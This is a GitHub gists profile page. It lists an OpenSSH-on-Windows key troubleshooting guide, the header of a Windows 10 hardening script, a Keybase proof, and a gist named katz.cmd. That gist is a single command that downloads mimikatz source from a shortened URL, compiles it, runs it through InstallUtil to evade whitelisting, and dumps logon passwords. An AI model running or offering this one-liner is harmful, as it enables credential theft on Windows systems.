Skip to content

Instantly share code, notes, and snippets.

View subinacls's full-sized avatar

Subinacls subinacls

  • Insider Agency
  • Aurora, Colorado
View GitHub Profile
@subinacls
subinacls / README.md
Created July 21, 2023 16:26 — forked from asheroto/Public-Key-Authentication-Troubleshooting.md
OpenSSH on Windows - working sshd_config for public key authentication

Public key authentication troubleshooting

Make sure you don't have ANY instances of sshd or ssh-agent running (important):

  • Run PowerShell as Administrator:
Stop-Service sshd
Stop-Service ssh-agent
taskkill /f /im sshd.exe
taskkill /f /im ssh-agent.exe
@subinacls
subinacls / katz.cmd
Created August 1, 2018 04:01 — forked from xillwillx/katz.cmd
mimikatz.cs one-liner
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe /reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug sekurlsa::logonpasswords exit && del katz.*
@subinacls
subinacls / Windows10Reloaded.ps1
Created May 16, 2017 17:09
Windows 10 Reloaded Security/Hardening powershell script enables basic IPSec, Chrome policy, Adobe Reader and Acrobat Security features and disables various telemetry. This also removes all default installed apps, and installs apps of your choice.
##########
# Win10 Initial Setup Script
# Author: Disassembler, Gr1d:, TheRoc
# Edited by Gr1D:
# dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/
# TheROC's E.T. Disable script: https://gist.github.com/thoroc/86d354d029dda303598a
# THIS IS VERSION 5.5, error suppression is turned on. PLEASE be patient and PLEASE restart after running the script.
# This script leaves more MS defaults on, including MSE and smart-screen,
# but blocks a ton of domains and disables remote assistance secures java, sets up ipsec..

Keybase proof

I hereby claim:

  • I am subinacls on github.
  • I am subinacls (https://keybase.io/subinacls) on keybase.
  • I have a public key whose fingerprint is 6A53 E50A B81B F5B9 C7A1 7E99 6F46 E9FD A3C2 0A68

To claim this, I am signing this object: